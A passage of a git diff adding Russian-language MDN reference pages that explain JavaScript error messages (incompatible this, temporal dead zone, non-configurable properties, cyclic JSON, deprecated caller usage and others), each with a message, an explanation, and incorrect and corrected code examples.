+TypeError: Function.prototype.toString вызывается несовместимый объект (Firefox)
+TypeError: Function.prototype.bind вызывается несовместимая цель (Firefox)
+TypeError: Метод Set.prototype.add called вызывается несовместимый приемник undefined (Chrome)
+TypeError: Bind должен вызываться для функции(Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки </h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>При возникновении этой ошибки вызывается функция (для данного объекта) с типом this, не соответствующим типу, ожидаемому функцией.</p>
+
+<p>Эта проблема может возникнуть при использовании {{jsxref("Function.prototype.call()")}} ил {{jsxref("Function.prototype.apply()")}} методы и предоставление аргумента this, который не имеет ожидаемого типа.</p>
+
+<p>Эта проблема также может возникнуть при предоставлении функции (хранящейся в объекте) в качестве аргумента другой функции. В этом случае объект не будет целью this функции. Чтобы обойти эту проблему, необходимо либо предоставить лямбда-код, который выполняет вызов, либо использовать{{jsxref("Function.prototype.bind()")}} функция для принудительной передачи аргумента this ожидаемому объекту.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неправильные">Неправильные</h3>
+
+<pre class="brush: js example-bad">var mySet = new Set;
+['bar', 'baz'].forEach(mySet.add);
+// mySet.add is a function, but "mySet" is not captured as this.
+
+var myFun = function () {
+  console.log(this);
+};
+['bar', 'baz'].forEach(myFun.bind);
+// myFun.bind is a function, but "myFun" is not captured as this.
+
+</pre>
+
+<h3 id="Правильные">Правильные</h3>
+
+<pre class="brush: js example-good">var mySet = new Set;
+['bar', 'baz'].forEach(mySet.add.bind(mySet));
+// This works due to binding "mySet" as this.
+
+var myFun = function () {
+  console.log(this);
+};
+['bar', 'baz'].forEach(x =&gt; myFun.bind(x));
+// This works using the "bind" function. It creates a lambda forwarding the argument.
+
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html b/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html
new file mode 100644
index 0000000000..e5c0553e8a
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html
@@ -0,0 +1,60 @@
+---
+title: 'ReferenceError: can''t access lexical declaration`X'' before initialization'
+slug: Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init
+tags:
+  - Errors
+  - JavaScript
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">ReferenceError: can't access lexical declaration `X' before initialization (Firefox)
+ReferenceError: 'x' is not defined (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("ReferenceError")}}</p>
+
+<h2 id="Что_случилось">Что случилось?</h2>
+
+<p>Попытка доступа к лексической переменной до ее инициализации. Это может произойти в любом блоке, если попытаться обратиться к переменной, объявленной с помощью ключевых слов <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> или <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> до того, как им было присвоено значение.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неправильно">Неправильно</h3>
+
+<p>Здесь переменная "foo" заново объявляется внутри блока с помощью ключевого слова <code>let</code>.</p>
+
+<pre class="brush: js example-bad">function test() {
+  let foo = 33;
+  if (true) {
+    let foo = (foo + 55);
+    // ReferenceError: can't access lexical
+    // declaration `foo' before initialization
+  }
+}
+test();
+</pre>
+
+<h3 id="Правильно">Правильно</h3>
+
+<p>Чтобы изменить "foo" в теле выражения if, надо убрать ключевое слово <code>let</code> и таким образом избавиться от повторного объявления.</p>
+
+<pre class="brush: js example-good">function test(){
+   let foo = 33;
+   if (true) {
+      foo = (foo + 55);
+   }
+}
+test();
+</pre>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let#Temporal_Dead_Zone_and_errors_with_let">Temporal Dead Zone and errors with let</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/cant_access_property/index.html b/files/ru/web/javascript/reference/errors/cant_access_property/index.html
new file mode 100644
index 0000000000..df4ab49b2a
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/cant_access_property/index.html
@@ -0,0 +1,58 @@
+---
+title: >-
+  TypeError: can't access property "x" of "y"(Тип ошибки: не удается получить
+  доступ к свойству "x" из "y")
+slug: Web/JavaScript/Reference/Errors/Cant_access_property
+translation_of: Web/JavaScript/Reference/Errors/Cant_access_property
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: не удается получить свойство {x} неопределенной или нулевой ссылки (Edge)
+TypeError: не удается получить доступ к свойству {x} of {y} (Firefox)
+TypeError: {y} не определен, не может получить доступ к свойству {x} (Firefox)
+TypeError: {y} имеет значение null, не может получить доступ к свойству {x} (Firefox)
+
+Образцы:
+TypeError: x не определен, не может получить доступ к свойству "prop"
+TypeError: x имеет значение null, не может получить доступ к свойству "prop"
+TypeError: не удается получить доступ к свойству "prop" неопределенного
+TypeError: не удается получить доступ к свойству "prop" значения null
+
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Что_не_так">Что не так?</h2>
+
+<p>Доступ к собственности осуществлялся {{jsxref("undefined")}} или {{jsxref("null")}} переменными</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неправильные_примеры">Неправильные примеры</h3>
+
+<pre class="brush: js example-bad">// undefined and null cases on which the substring method won't work
+var foo = undefined;
+foo.substring(1); // TypeError: x не определен, не может получить доступ к свойству substring
+
+var foo = null;
+foo.substring(1); // TypeError: x имеет значение null, не может получить доступ к свойству substring
+</pre>
+
+<h3 id="Исправление_проблемы">Исправление проблемы</h3>
+
+<p>Чтобы исправить указатель null на неопределенные или нулевые значения, можно использовать оператор typeof, например.</p>
+
+<pre class="brush: js">if (typeof foo !== 'undefined') {
+  // Теперь мы знаем, что foo определен.
+}</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/cant_assign_to_property/index.html b/files/ru/web/javascript/reference/errors/cant_assign_to_property/index.html
new file mode 100644
index 0000000000..fd1e8a30e5
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/cant_assign_to_property/index.html
@@ -0,0 +1,52 @@
+---
+title: 'TypeError: can''t assign to property "x" on "y": not an object'
+slug: Web/JavaScript/Reference/Errors/Cant_assign_to_property
+translation_of: Web/JavaScript/Reference/Errors/Cant_assign_to_property
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<div>Ошибка строгого режима JavaScript "can't assign to property" ("невозможно присвоить свойство") происходит в тот момент, когда Вы пытаетесь создать свойство примитивного типа данных (такого как символ, строка, число или булевое значение). Примитивные типы данных не могут содержать никаких свойств. </div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox notranslate">TypeError: <code class="highlighted" id="line-87">can't assign to property "x" on {y}: not an object</code> (Firefox)
+TypeError: Cannot create property 'x' on {y} (Chrome)
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="What_went_wrong">What went wrong?</h2>
+
+<p>In {{jsxref("Strict_mode")}}, a {{jsxref("TypeError")}} is raised when attempting to create a property on <a href="/en-US/docs/Glossary/primitive">primitive</a> value such as a <a href="/en-US/docs/Glossary/symbol">symbol</a>, a <a href="/en-US/docs/Glossary/string">string</a>, a <a href="/en-US/docs/Glossary/number">number</a> or a <a href="/en-US/docs/Glossary/boolean">boolean</a>. <a href="/en-US/docs/Glossary/Primitive">Primitive</a> values cannot hold any <a href="/en-US/docs/Glossary/property/JavaScript">property</a>.</p>
+
+<p>The problem might be that an unexpected value is flowing at an unexpected place, or that an object variant of a {{jsxref("String")}} or a {{jsxref("Number")}} is expected.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Invalid_cases">Invalid cases</h3>
+
+<pre class="brush: js example-bad notranslate">'use strict';
+
+var foo = "my string";
+// The following line does nothing if not in strict mode.
+foo.bar = {}; // <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">TypeError: can't assign to property "bar" on "my string": not an object</span></span></span>
+</pre>
+
+<h3 id="Fixing_the_issue">Fixing the issue</h3>
+
+<p>Either fix the code to prevent the <a href="/en-US/docs/Glossary/primitive">primitive</a> from being used in such places, or fix the issue is to create the object equivalent {{jsxref("Object")}}.</p>
+
+<pre class="brush: js example-good notranslate">'use strict';
+
+var foo = new String("my string");
+foo.bar = {};
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Strict_mode")}}</li>
+ <li><a href="/en-US/docs/Glossary/primitive">primitive</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/cant_define_property_object_not_extensible/index.html b/files/ru/web/javascript/reference/errors/cant_define_property_object_not_extensible/index.html
new file mode 100644
index 0000000000..59499e302d
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/cant_define_property_object_not_extensible/index.html
@@ -0,0 +1,65 @@
+---
+title: 'TypeError: can''t define property "x": "obj" is not extensible'
+slug: Web/JavaScript/Reference/Errors/Cant_define_property_object_not_extensible
+tags:
+  - Error
+  - Errors
+  - JavaScript
+  - TypeError
+  - Исключение
+translation_of: Web/JavaScript/Reference/Errors/Cant_define_property_object_not_extensible
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre>TypeError: Cannot create property for a non-extensible object (Edge)
+TypeError: can't define property "x": "obj" is not extensible (Firefox)
+TypeError: Cannot define property: "x", object is not extensible. (Chrome)</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_произошло_не_так">Что произошло не так?</h2>
+
+<p>Обычно, объект расширяемый и к нему можно добавать новые свойства. Однако в этой ситуации {{jsxref("Object.preventExtensions()")}} сделал объект нерасширяемым, так что у него не может появиться других свойств, отличных от тех, которые были объявлены когда объект стал нерасширяемым.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В строгом режиме при попытке добавить новые свойства в нерасширяемый объект возникает ошибка TypeError. В нестрогом режиме добавление свойства "x" игнорируется.</p>
+
+<pre class="brush: js example-bad">'use strict';
+
+var obj = {};
+Object.preventExtensions(obj);
+
+obj.x = 'foo';
+// TypeError: can't define property "x": "obj" is not extensible
+</pre>
+
+<p>В обеих, строгом и нестрогом режимах, вызов {{jsxref("Object.defineProperty()")}} вызывает исключнеие при добавлении нового свойства в нерасширяемый объект.</p>
+
+<pre class="brush: js example-bad">var obj = { };
+Object.preventExtensions(obj);
+
+Object.defineProperty(obj,
+  'x', { value: "foo" }
+);
+// TypeError: can't define property "x": "obj" is not extensible
+</pre>
+
+<p>Чтобы исправить эту ошибку, необходимо удалить вызов {{jsxref("Object.preventExtensions()")}} полностью или переместить его в положение, чтобы сначала свойство добавлялось, а потом объект помечался как нерасширяемый. Конечно вы также можете удалить свойство, которое пытались добавить, если оно вам не нужно.</p>
+
+<pre class="brush: js example-good">'use strict';
+
+var obj = {};
+obj.x = 'foo'; // add property first and only then prevent extensions
+
+Object.preventExtensions(obj);</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/cant_delete/index.html b/files/ru/web/javascript/reference/errors/cant_delete/index.html
new file mode 100644
index 0000000000..88dd78272d
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/cant_delete/index.html
@@ -0,0 +1,60 @@
+---
+title: >-
+  TypeError: property "x" is non-configurable and can't be deleted(свойство "x"
+  не настраивается и не может быть удалено)
+slug: Web/JavaScript/Reference/Errors/Cant_delete
+translation_of: Web/JavaScript/Reference/Errors/Cant_delete
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: вызов delete на 'x' не разрешен в строгом режиме (Edge)
+TypeError: свойство "x" не настраивается и не может быть удалено. (браузер Firefox)
+TypeError: не удается удалить свойство "x" из #&lt;Object&gt; (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}} in strict mode only.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p> </p>
+
+<p>Была сделана попытка удалить свойство, но это свойство не изменяется. Настраиваемый атрибут определяет, можно ли удалить свойство из объекта и можно ли изменить его атрибуты (отличные от доступных для записи).</p>
+
+<p>Эта ошибка возникает только в коде строгого режима. В нестрогом коде операция возвращает false.</p>
+
+<p> </p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Не настраиваемые свойства не очень распространены, но их можно создать с помощью {{jsxref("Object.defineProperty()")}} или {{jsxref("Object.freeze()")}}.</p>
+
+<pre class="brush: js example-bad">'use strict';
+var obj = Object.freeze({name: 'Elsa', score: 157});
+delete obj.score;  // TypeError
+
+'use strict';
+var obj = {};
+Object.defineProperty(obj, 'foo', {value: 2, configurable: false});
+delete obj.foo;  // TypeError
+
+'use strict';
+var frozenArray = Object.freeze([0, 1, 2]);
+frozenArray.pop();  // TypeError
+</pre>
+
+<p>В JavaScript также встроено несколько настраиваемых свойств. Возможно, вы пытались удалить математическую константу.</p>
+
+<pre class="brush: js example-bad">'use strict';
+delete Math.PI;  // TypeError</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete operator</a></li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html b/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html
new file mode 100644
index 0000000000..f164596b55
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html
@@ -0,0 +1,49 @@
+---
+title: >-
+  TypeError: can't redefine non-configurable property "x"(Тип ошибки: не удается
+  переопределить настраиваемое свойство "x")
+slug: Web/JavaScript/Reference/Errors/Cant_redefine_property
+translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщения">Сообщения</h2>
+
+<pre class="syntaxbox">TypeError: невозможно изменить свойство, недоступное для записи {x} (Edge)
+TypeError: невозможно переопределить не настраиваемое свойство "x" (Firefox)
+TypeError: не удается переопределить свойство: "x" (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки </h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_не_так">Что не так?</h2>
+
+<p>Была предпринята попытка переопределить свойство, но это свойство не настраивается. Настраиваемый атрибут определяет, можно ли удалить свойство из объекта и можно ли изменить его атрибуты (отличные от доступных для записи). Обычно свойства объекта, созданного инициализатором объекта, настраиваются. Однако, например, при использовании {{jsxref("Object.defineProperty()")}}, свойство не настраивается по умолчанию.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Не_настраиваемые_свойства_созданные_Object.defineProperty">Не настраиваемые свойства, созданные <code>Object.defineProperty</code></h3>
+
+<p>The {{jsxref("Object.defineProperty()")}} создает не настраиваемые свойства, если они не указаны как настраиваемые.</p>
+
+<pre class="brush: js example-bad">var obj = Object.create({});
+Object.defineProperty(obj, "foo", {value: "bar"});
+
+Object.defineProperty(obj, "foo", {value: "baz"});
+// TypeError: не удается переопределить не настраиваемое свойство "foo"
+</pre>
+
+<p>Вам нужно будет установить свойство "foo" в конфигурируемое, если вы собираетесь переопределить его позже в коде.</p>
+
+<pre class="brush: js example-good">var obj = Object.create({});
+Object.defineProperty(obj, "foo", {value: "bar", configurable: true});
+Object.defineProperty(obj, "foo", {value: "baz", configurable: true});</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures#Properties">[[Configurable]]</a></li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html
new file mode 100644
index 0000000000..cfbf6eb56c
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html
@@ -0,0 +1,70 @@
+---
+title: 'TypeError: cyclic object value(TypeError: циклическое значение объекта)'
+slug: Web/JavaScript/Reference/Errors/Cyclic_object_value
+tags:
+  - Ошибка
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Cyclic_object_value
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщения">Сообщения</h2>
+
+<pre class="syntaxbox notranslate">TypeError: циклическое значение объекта (Firefox)
+TypeError: преобразование круговой структуры в JSON (Chrome и Opera)
+TypeError: циклическая ссылка в аргументе значения не поддерживается (Edge)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки?</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_не_так">Что не так?</h2>
+
+<p>The <a href="https://www.json.org/">JSON format</a> per se doesn't support object references (although an <a href="http://tools.ietf.org/html/draft-pbryan-zyp-json-ref-03">IETF draft exists</a>), hence {{jsxref("JSON.stringify()")}} doesn't try to solve them and fail accordingly.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В круговой структуре как эта</p>
+
+<pre class="brush: js notranslate">var circularReference = {otherData: 123};
+circularReference.myself = circularReference;
+</pre>
+
+<p>{{jsxref("JSON.stringify()")}} закончится неудачей</p>
+
+<pre class="brush: js example-bad notranslate">JSON.stringify(circularReference);
+// TypeError: циклическое значение объекта
+</pre>
+
+
+
+<p>Для сериализации циклических ссылок можно использовать библиотеку, которая их поддерживает (например, cycle.js) или самостоятельно реализовать решение, которое потребует поиска и замены (или удаления) циклических ссылок сериализуемыми значениями.</p>
+
+<p>Во фрагменте кода ниже показано, как найти и отфильтровать циклическую ссылку (что приводит к потере данных) с помощью параметра <code>replacer</code>{{jsxref("JSON.stringify()")}}:</p>
+
+
+
+<pre class="brush: js notranslate">const getCircularReplacer = () =&gt; {
+  const seen = new WeakSet();
+  return (key, value) =&gt; {
+    if (typeof value === "object" &amp;&amp; value !== null) {
+      if (seen.has(value)) {
+        return;
+      }
+      seen.add(value);
+    }
+    return value;
+  };
+};
+
+JSON.stringify(circularReference, getCircularReplacer());
+// {"otherData":123}
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("JSON.stringify")}}</li>
+ <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> – вводит две функции, JSON.decycle и JSON.retrocycle, что дает возможность кодирования и декодирования циклических структур и групп обеспечения доступности баз данных в расширенный и обратно совместимый формат JSON.</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/dead_object/index.html b/files/ru/web/javascript/reference/errors/dead_object/index.html
new file mode 100644
index 0000000000..de666b01d8
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/dead_object/index.html
@@ -0,0 +1,48 @@
+---
+title: >-
+  TypeError: can't access dead object (Тип ошибки:не удается получить доступ к
+  мертвому объекту)
+slug: Web/JavaScript/Reference/Errors/Dead_object
+translation_of: Web/JavaScript/Reference/Errors/Dead_object
+---
+<div>{{JSSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: can't access dead object
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_не_так">Что не так?</h2>
+
+<p>Для улучшения использования памяти и предотвращения утечек памяти Firefox запрещает надстройкам сохранять строгие ссылки на объекты DOM после уничтожения родительского документа. Мертвый объект содержит сильную ссылку (keep alive) на элемент DOM, который сохраняется даже после того, как он был уничтожен в DOM. Чтобы избежать этих проблем, ссылки на узлы DOM во внешнем документе должны храниться в объекте, который относится к этому документу, и очищаться при выгрузке документа или храниться как слабые ссылки.</p>
+
+<h2 id="Проверка_если_объект_мертв">Проверка, если объект мертв</h2>
+
+<p><a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils">Components.utils</a> предлагает <code>isDeadWrapper()</code>метод, который может использовать привилегированный код. <br>
+  </p>
+
+<pre class="brush: js">if (Components.utils.isDeadWrapper(window)) {
+  // dead
+}</pre>
+
+<p>Непривилегированный код не имеет доступа к Component.utils и мог бы просто быть в состоянии поймать исключение.</p>
+
+<pre class="brush: js">try {
+  String(window);
+}
+catch (e) {
+  console.log("window is likely dead");
+}</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://blog.mozilla.org/addons/2012/09/12/what-does-cant-access-dead-object-mean/">What does “can’t access dead object” mean?</a>(Что значит “не могу получить доступ к мертвому объекту”?)</li>
+ <li><a href="/en-US/docs/Extensions/Common_causes_of_memory_leaks_in_extensions">Common causes of memory leaks in extensions</a>(Распространенные причины утечек памяти в расширениях)</li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils">Components.utils</a></li>
+ <li><a href="/en-US/docs/Mozilla/Zombie_compartments">Zombie Compartments</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html b/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html
new file mode 100644
index 0000000000..de2b1bbce1
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html
@@ -0,0 +1,68 @@
+---
+title: >-
+  SyntaxError: applying the 'delete' operator to an unqualified name is
+  deprecated (SyntaxError: применение оператора 'delete' к неполному имени не
+  рекомендуется)
+slug: Web/JavaScript/Reference/Errors/Delete_in_strict_mode
+translation_of: Web/JavaScript/Reference/Errors/Delete_in_strict_mode
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: вызов delete on expression запрещен в строгом режиме в (Edge)
+SyntaxError: применение оператора 'delete' к неполному имени не рекомендуется в (Firefox)
+SyntaxError: удаление неполного идентификатора в строгом режиме запрещенно в (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}} только в строгом режиме.</p>
+
+<h2 id="В_чем_ошибка">В чем ошибка?</h2>
+
+<p>Обычные переменные в JavaScript нельзя удалить с помощью оператора <code>delete</code>. В строгом режиме попытка удалить переменную вызовет ошибку и не будет разрешена.</p>
+
+<p>Оператор <code>delete </code>может удалять только свойства объекта. Свойства объекта "квалифицированы", если они конфигурируемы.</p>
+
+<p>В отличие от общепринятого мнения, оператор <code>delete </code>не имеет ничего общего с непосредственным освобождением памяти. Управление памятью осуществляется косвенным образом через нарушение ссылок см.<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management">memory management</a> . В разделе управление памятью и страницы оператора delete для более подробной информации.</p>
+
+<p>Эта ошибка возникает только в коде строгого режима. В нестрогом коде операция просто возвращает false.</p>
+
+<p> </p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Попытка удалить простую переменную не работает в JavaScript и выдает ошибку в строгом режиме:</p>
+
+<pre class="brush: js example-bad">'use strict';
+
+var x;
+
+// ...
+
+delete x;
+
+// SyntaxError: применение оператора 'delete' к неполному имени является устаревшим
+</pre>
+
+<p>Чтобы освободить содержимое переменной, задайте для нее значение {{jsxref("null")}}:</p>
+
+<pre class="brush: js example-good">'use strict';
+
+var x;
+
+// ...
+
+x = null;
+
+// X может быть собран "мусор"
+</pre>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Memory_Management">Memory management</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Cant_delete">TypeError: property "x" is non-configurable and can't be deleted</a>(TypeError: свойство "x" не настраивается и не может быть удалено)</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html b/files/ru/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html
new file mode 100644
index 0000000000..c42695a5aa
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html
@@ -0,0 +1,76 @@
+---
+title: 'Ошибка Ссылки: устаревший вызывающий объект или использование аргументов'
+slug: Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage
+tags:
+  - JavaScript
+  - Ошибки
+  - Строгий режим
+  - предупреждение
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Messageсообщение">Message(сообщение)</h2>
+
+<pre class="syntaxbox">TypeError(Ошибка Типа): 'arguments', 'callee' и 'caller' являются ограниченными свойствами функции и не могут быть доступны в этом контексте (EDGE)
+Warning: ReferenceError(Ошибка Ссылки): deprecated caller usage (устаревшие использование вызывающего абонента Firefox)
+Warning: ReferenceError(Ошибка Ссылки): deprecated arguments usage (использование устаревших аргументов Firefox)
+TypeError(Ошибка Типа): 'callee' и 'caller' (не может быть доступен в строгом режиме safari)
+</pre>
+
+<h2 id="Error_type_Тип_ошибки">Error type (Тип ошибки)</h2>
+
+<p>Предупреждение строгого режима, при котором произошла операция {{jsxref("ReferenceError")}} выполнение JavaScript не будет остановлено.</p>
+
+<h2 id="What_went_wrongЧто_пошло_не_так">What went wrong?(Что пошло не так?)</h2>
+
+<p>В строгом режиме используются свойства {{jsxref("Function.caller")}} или {{jsxref("Function.arguments")}} которых не должны быть. Они являются устаревшими, потому что они утечка вызывающей функции, являются нестандартными, и их трудно оптимизировать, и это потенциально опасный для производительности компонент. </p>
+
+<h2 id="ExamplesПримеры">Examples(Примеры)</h2>
+
+<h3 id="Устаревшая_function.caller_или_arguments.callee.caller">Устаревшая <code>function.caller</code> или <code>arguments.callee.caller</code></h3>
+
+<p>{{jsxref("Function.caller")}} и <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee.caller</a></code> являются устаревшими (Дополнительные сведения см. в справочных статьях).</p>
+
+<pre class="brush: js example-bad">'use strict';
+
+function myFunc() {
+  if (myFunc.caller == null) {
+    return 'The function was called from the top!';
+  } else {
+    return 'This function\'s caller was ' + myFunc.caller;
+  }
+}
+
+myFunc();
+// Warning: ReferenceError: устаревшее использование вызывающего абонента
+// "функция была вызвана сверху!"</pre>
+
+<h3 id="Function.arguments"><code>Function.arguments</code></h3>
+
+<p>{{jsxref("Function.arguments")}} является устаревшим (Дополнительные сведения см. в справочной статье).</p>
+
+<pre class="brush: js example-bad">'use strict';
+
+function f(n) { g(n - 1); }
+
+function g(n) {
+  console.log('before: ' + g.arguments[0]);
+  if (n &gt; 0) { f(n); }
+  console.log('after: ' + g.arguments[0]);
+}
+
+f(2);
+
+console.log('returned: ' + g.arguments);
+// Warning: ReferenceError: использование устаревших аргументов
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Deprecated and obsolete features</a> (Устаревшие функции)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a> (строгий режим)</li>
+ <li>{{jsxref("Function.arguments")}}</li>
+ <li>{{jsxref("Function.caller")}} и <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee.caller</a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html b/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html
new file mode 100644
index 0000000000..40dc8dc913
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html
@@ -0,0 +1,76 @@
+---
+title: 'Предупреждение: затворы выражения являются устаревшими'
+slug: Web/JavaScript/Reference/Errors/Deprecated_expression_closures
+tags:
+  - JavaScript
+  - Warning
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_expression_closures
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">Warning: замыкания выражений являются устаревшими
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>Предупреждающий. Выполнение скрипта не будет остановлено.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Нестандартный синтаксис закрытия выражений (сокращенный синтаксис функций) устарел и больше не должен использоваться. Этот синтаксис будет полностью удален в Этот синтаксис будет полностью удален в {{bug(1083458)}} а скрипты с его помощью {{jsxref("SyntaxError")}} затем.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неправильтный_синтаксис">Неправильтный синтаксис</h3>
+
